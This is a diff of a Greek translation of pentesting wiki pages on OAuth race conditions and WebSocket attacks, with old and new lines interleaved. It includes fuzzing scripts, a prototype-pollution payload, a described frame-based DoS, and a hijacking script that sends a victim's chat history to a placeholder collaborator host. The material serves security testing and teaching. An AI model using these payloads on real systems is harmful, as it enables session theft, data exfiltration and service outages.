Υπάρχουν αρκετοί [**παροχείς OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες θα σας επιτρέψουν να δημιουργήσετε μια εφαρμογή και να πιστοποιήσετε χρήστες που έχει καταχωρίσει ο παροχέας. Για να το κάνετε αυτό, ο **πελάτης** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε ορισμένα από τα δεδομένα τους μέσα στον **παροχέα OAUth**.\
Έτσι, μέχρι εδώ είναι απλώς μια κοινή σύνδεση με google/linkedin/github... όπου σας ζητείται μια σελίδα που λέει: "_Η εφαρμογή \<InsertCoolName> θέλει να έχει πρόσβαση στις πληροφορίες σας, θέλετε να το επιτρέψετε;_"
Υπάρχουν αρκετοί [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες σας επιτρέπουν να δημιουργήσετε μια εφαρμογή και να αυθεντικοποιήσετε χρήστες που έχει καταχωρίσει ο πάροχος. Για να γίνει αυτό, ο **client** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε κάποια από τα δεδομένα τους εντός του **OAUth provider**.\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code`
Το **πρόβλημα** εμφανίζεται όταν **το αποδεχτείτε** και αυτόματα στέλνει έναν **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή εκμεταλλεύεται μια Race Condition στον παροχέα υπηρεσιών OAUth για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από τον **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε αποδεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει αρκετούς λογαριασμούς**. Στη συνέχεια, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας, ένα ζεύγος AT/RT θα διαγραφεί, αλλά τα άλλα θα παραμείνουν έγκυρα**.
Το **πρόβλημα** εμφανίζεται όταν το **αποδεχτείτε** και αυτόματα στέλνει ένα **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή καταχράται μια Race Condition στον OAUth service provider για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από το **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε δεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει πολλούς λογαριασμούς**. Έπειτα, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα υπόλοιπα θα παραμείνουν έγκυρα**.
#### Race Condition in `Refresh Token`
Μόλις έχετε **αποκτήσει ένα έγκυρο RT**, μπορείτε να προσπαθήσετε να **το εκμεταλλευτείτε για να δημιουργήσετε αρκετά AT/RT** και **ακόμα και αν ο χρήστης ακυρώσει τις άδειες** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **αρκετά RT θα παραμείνουν έγκυρα.**
Μόλις έχετε **αποκτήσει ένα έγκυρο RT** μπορείτε να προσπαθήσετε να **το καταχραστείτε για να δημιουργήσετε πολλά AT/RT** και **ακόμα κι αν ο χρήστης ακυρώσει τα δικαιώματα** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **πολλά RTs θα παραμείνουν έγκυρα.**
## **RC in WebSockets**
Στο [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) μπορείτε να βρείτε ένα PoC σε Java για να στείλετε μηνύματα websocket σε **παράλληλη** εκμετάλλευση **Race Conditions και σε Web Sockets**.
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
- With Burps WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References
## Αναφορές
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -380,5 +379,8 @@ session['enforce_mfa'] = True
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,22 +1,22 @@
# WebSocket Attacks
# WebSocket Επιθέσεις
{{#include ../banners/hacktricks-training.md}}
## Τι είναι τα WebSockets
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
Οι συνδέσεις WebSocket εγκαθίστανται μέσω μιας αρχικής **HTTP** χειραψίας και έχουν σχεδιαστεί να είναι **μακροχρόνιες**, επιτρέποντας αμφίδρομη ανταλλαγή μηνυμάτων οποιαδήποτε στιγμή χωρίς την ανάγκη για ένα transactional σύστημα. Αυτό καθιστά τα WebSockets ιδιαίτερα χρήσιμα για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά ο διακομιστής**, όπως ροές ζωντανών οικονομικών δεδομένων.
### Δημιουργία Συνδέσεων WebSocket
### Εγκαθίδρυση Συνδέσεων WebSocket
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς του πελάτη όπως φαίνεται παρακάτω:
A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Σε συνοπτική μορφή, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript στην πλευρά του πελάτη όπως φαίνεται παρακάτω:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδεικνύει μια **μη ασφαλή** σύνδεση.
Το πρωτόκολλο `wss` υποδηλώνει μια WebSocket σύνδεση ασφαλισμένη με **TLS**, ενώ το `ws` υποδεικνύει μια **μη ασφαλή** σύνδεση.
Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:
Κατά την εγκαθίδρυση της σύνδεσης, εκτελείται ένα handshake μεταξύ του browser και του server πάνω από HTTP. Η διαδικασία του handshake περιλαμβάνει το browser να στέλνει ένα request και το server να ανταποκρίνεται, όπως φαίνεται στα παρακάτω παραδείγματα:
Το πρόγραμμα περιήγησης στέλνει ένα αίτημα χειραψίας:
Ο browser στέλνει ένα handshake request:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -26,53 +26,53 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Απάντηση χειραψίας διακομιστή:
Απάντηση handshake του Server:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και προς τις δύο κατευθύνσεις μόλις εγκατασταθεί.
**Βασικά Σημεία του WebSocket Handshake:**
**Κύρια σημεία του WebSocket handshake:**
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake.
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη του WebSocket handshake.
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση του πρωτοκόλλου WebSocket, συνήθως `13`.
- Μια τυχαία τιμή κωδικοποιημένη σε Base64 αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, εξασφαλίζοντας ότι κάθε handshake είναι μοναδικό, κάτι που βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για authentication αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει δημιουργηθεί από έναν misconfigured server ή cache.
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του server είναι ένα hash του `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του server να ανοίξει μια WebSocket σύνδεση.
Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.
Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία του handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποτελεσματική επικοινωνία σε πραγματικό χρόνο.
### Linux console
### Κονσόλα Linux
Μπορείτε να χρησιμοποιήσετε το `websocat` για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.
Μπορείτε να χρησιμοποιήσετε `websocat` για να ανοίξετε μια ακατέργαστη σύνδεση με ένα websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Ή για να δημιουργήσετε έναν διακομιστή websocat:
Ή για να δημιουργήσετε ένα websocat server:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
### MitM websocket συνδέσεις
Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.\
Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:
Εάν εντοπίσετε ότι clients είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε ένα [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) για να πραγματοποιήσετε MitM επίθεση μεταξύ του client και του server.\
Μόλις ο client προσπαθήσει να συνδεθεί σε εσάς, μπορείτε στη συνέχεια να χρησιμοποιήσετε:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** στα websockets αυτόματα.
Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) για να ανακαλύψετε, fingerprint και να αναζητήσετε γνωστές **ευπάθειες** σε websockets αυτόματα.
### Websocket Debug tools
- Το **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
- Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
- [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας.
- [**https://websocketking.com/**](https://websocketking.com/) είναι ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα **web για επικοινωνία** με άλλα webs χρησιμοποιώντας **websockets.**
- **Burp Suite** υποστηρίζει MitM websockets communication με τρόπο πολύ παρόμοιο με αυτόν που το κάνει για την κανονική HTTP επικοινωνία.
- Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις Websocket communications στο Burp αποκτώντας το **history**, ρυθμίζοντας **interception rules**, χρησιμοποιώντας κανόνες **match and replace**, και αξιοποιώντας **Intruder** και **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει διεπαφή χρήστη για να **capture, intercept, send custom** μηνύματα και να δείτε όλες τις WebSocket και Socket.IO communications μεταξύ client και server.
- [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **interactive websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει διεπαφή για την παρατήρηση **incoming websocket messages and sending new ones**, με ένα εύχρηστο πλαίσιο για **automating** αυτή την επικοινωνία.
- [**https://websocketking.com/**](https://websocketking.com/) είναι ένα **web to communicate** με άλλους ιστότοπους χρησιμοποιώντας **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει ένα **web to communicate** με άλλους ιστότοπους χρησιμοποιώντας **websockets.**
## Decrypting Websocket
@ -81,33 +81,150 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Websocket Lab
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε ένα web χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) υπάρχει κώδικας για να ξεκινήσετε ένα web χρησιμοποιώντας websockets και σε [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
## Websocket Fuzzing
Η επέκταση burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) τώρα επιτρέπει επίσης την fuzzing των μηνυμάτων WebSocket. Μπορείτε να διαβάσετε περισσότερες πληροφορίες γι' αυτό [**εδώ**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
Η burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) πλέον επιτρέπει να fuzz και WebSocket μηνύματα. Μπορείτε να διαβάσετε περισσότερες πληροφορίες για αυτό [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
### WebSocket Turbo Intruder (Burp extension)
Το WebSocket Turbo Intruder της PortSwigger φέρνει Turbo Intruderstyle Python scripting και highrate fuzzing στα WebSockets. Εγκαταστήστε το από το BApp Store ή από το source. Περιλαμβάνει δύο συνιστώσες:
- Turbo Intruder: highvolume messaging σε ένα μόνο WS endpoint χρησιμοποιώντας custom engines.
- HTTP Middleware: εκθέτει ένα τοπικό HTTP endpoint που προωθεί bodies ως WS messages πάνω από μια persistent σύνδεση, ώστε οποιοσδήποτε HTTPbased scanner να μπορεί να probe τα WS backends.
Βασικό πρότυπο script για να fuzz ένα WS endpoint και να φιλτράρετε σχετικές απαντήσεις:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses.
### Γέφυρα WS πίσω από HTTP (HTTP Middleware)
Τυλίξτε μια επίμονη σύνδεση WS και προωθήστε τα σώματα HTTP ως μηνύματα WS για αυτοματοποιημένες δοκιμές με ανιχνευτές HTTP:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Στη συνέχεια στείλτε HTTP τοπικά· το σώμα προωθείται ως το WS μήνυμα:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
Αυτό σας επιτρέπει να χειρίζεστε WS backends ενώ φιλτράρετε για «interesting» events (π.χ., SQLi errors, auth bypass, command injection behavior).
### Socket.IO χειρισμός (handshake, heartbeats, events)
Socket.IO προσθέτει το δικό του framing πάνω από το WS. Εντοπίζεται μέσω της υποχρεωτικής query παραμέτρου `EIO` (π.χ., `EIO=4`). Κρατήστε τη συνεδρία ζωντανή με Ping (`2`) και Pong (`3`) και ξεκινήστε τη συνομιλία με `"40"`, στη συνέχεια emit events όπως `42["message","hello"]`.
Intruder example:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Παραλλαγή HTTP adapter:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Εντοπισμός serverside prototype pollution μέσω Socket.IO
Ακολουθώντας την ασφαλή τεχνική εντοπισμού του PortSwigger, δοκίμασε να μολύνεις τα εσωτερικά του Express στέλνοντας ένα payload όπως:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
Αν τα greetings ή η συμπεριφορά αλλάξουν (π.χ. echo περιέχει "Polluted"), πιθανόν μολύνατε server-side prototypes. Η επίπτωση εξαρτάται από reachable sinks· συσχετίστε με τα gadgets στην ενότητα Node.js prototype pollution. Δείτε:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) για sinks/gadgets και ιδέες για chaining.
### WebSocket race conditions with Turbo Intruder
Ο default engine ομαδοποιεί μηνύματα σε μία σύνδεση (πολύ καλό throughput, κακό για races). Χρησιμοποιήστε τον THREADED engine για να spawnάρετε πολλαπλές WS connections και να εκτοξεύσετε payloads παράλληλα ώστε να προκαλέσετε logic races (doublespend, token reuse, state desync). Ξεκινήστε από το παράδειγμα script και ρυθμίστε την concurrency στο `config()`.
- Μάθετε τη μεθοδολογία και εναλλακτικές στο [Race Condition](race-condition.md) (βλ. “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Κατασκευάστε WS frames των οποίων το header δηλώνει πολύ μεγάλο payload length αλλά μην στέλνετε body. Κάποιοι WS servers εμπιστεύονται το length και preallocate buffers· το να το ορίσετε κοντά στο `Integer.MAX_VALUE` μπορεί να προκαλέσει OutOfMemory και remote unauth DoS. Δείτε το παράδειγμα script.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Ενεργοποιήστε τον WS Logger για να καταγράψετε και να συσχετίσετε μηνύματα χρησιμοποιώντας internal IDs.
- Χρησιμοποιήστε τα `inc*`/`dec*` helpers στο `Connection` για να ρυθμίσετε το message ID handling σε πολύπλοκους adapters.
- Decorators όπως `@PingPong`/`@Pong` και helpers όπως `isInteresting()` μειώνουν το θόρυβο και διατηρούν τις sessions ζωντανές.
### Operational safety
Το highrate WS fuzzing μπορεί να ανοίξει πολλές συνδέσεις και να στείλει χιλιάδες μηνύματα ανά δευτερόλεπτο. Malformed frames και υψηλοί ρυθμοί μπορεί να προκαλέσουν πραγματικό DoS. Χρησιμοποιήστε μόνο όπου επιτρέπεται.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, γνωστό και ως **cross-origin WebSocket hijacking**, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή παρόμοια μέτρα ασφαλείας.
**Cross-site WebSocket hijacking**, γνωστό και ως **cross-origin WebSocket hijacking**, θεωρείται ειδική περίπτωση του **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τα WebSocket handshakes. Αυτή η ευπάθεια προκύπτει όταν τα WebSocket handshakes αυθεντικοποιούν αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή αντίστοιχα μέτρα ασφαλείας.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.
Οι επιτιθέμενοι μπορούν να το εκμεταλλευτούν φιλοξενώντας μια **malicious web page** που ξεκινάει μια cross-site WebSocket σύνδεση προς μια ευπαθή εφαρμογή. Κατά συνέπεια, αυτή η σύνδεση θεωρείται μέρος της session του θύματος με την εφαρμογή, εκμεταλλευόμενοι την έλλειψη CSRF protection στον μηχανισμό διαχείρισης session.
Για να λειτουργήσει αυτή η επίθεση, αυτές είναι οι απαιτήσεις:
Για να λειτουργήσει αυτή η επίθεση, απαιτούνται τα εξής:
- Η **αυθεντικοποίηση websocket πρέπει να βασίζεται σε cookie**
- Το cookie πρέπει να είναι προσβάσιμο από τον διακομιστή των επιτιθέμενων (αυτό συνήθως σημαίνει **`SameSite=None`**) και να μην είναι ενεργοποιημένη η **Firefox Total Cookie Protection** στο Firefox και να μην υπάρχουν **μπλοκαρισμένα τρίτα cookies** στο Chrome.
- Ο διακομιστής websocket δεν πρέπει να ελέγχει την προέλευση της σύνδεσης (ή αυτό πρέπει να είναι παρακάμψιμο)
- The websocket **authentication must be cookie based**
- Το cookie πρέπει να είναι προσβάσιμο από τον attackers server (συνήθως αυτό σημαίνει **`SameSite=None`**) και να μην είναι ενεργοποιημένο το **Firefox Total Cookie Protection** στον Firefox και να μην υπάρχουν **blocked third-party cookies** στο Chrome.
- Ο websocket server δεν πρέπει να ελέγχει το origin της σύνδεσης (ή αυτό πρέπει να είναι bypassable)
Επίσης:
- Εάν η αυθεντικοποίηση βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση **θα είναι δυνατή** καθώς καμία τρέχουσα προστασία δεν το απαγορεύει (ελέγξτε [περισσότερες πληροφορίες εδώ](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
- Αν η authentication βασίζεται σε τοπική σύνδεση (σε localhost ή σε τοπικό δίκτυο) η επίθεση **will be possible** καθώς δεν υπάρχει τρέχουσα προστασία που να το απαγορεύει (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένη στο αποσταλθέν cookie.
Σημειώστε ότι όταν καθιερώνεται μια σύνδεση **websocket**, το **cookie** αποστέλλεται στον server. Ο **server** μπορεί να το χρησιμοποιεί για να συσχετίσει κάθε συγκεκριμένο χρήστη με τη websocket session του βάσει του αποσταλμένου cookie.
Έτσι, αν για **παράδειγμα** ο **διακομιστής websocket** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
Έτσι, αν για παράδειγμα ο websocket server στέλνει πίσω το history της συνομιλίας ενός χρήστη όταν λάβει ένα msg με "READY", τότε ένα απλό XSS που καθιερώνει τη σύνδεση (το cookie θα σταλεί αυτόματα για να εξουσιοδοτήσει τον χρήστη-θύμα) και στέλνει "READY" θα μπορέσει να ανακτήσει το history της συνομιλίας.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -122,13 +239,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
### Cross Origin + Cookie με διαφορετικό subdomain
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλοταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**.
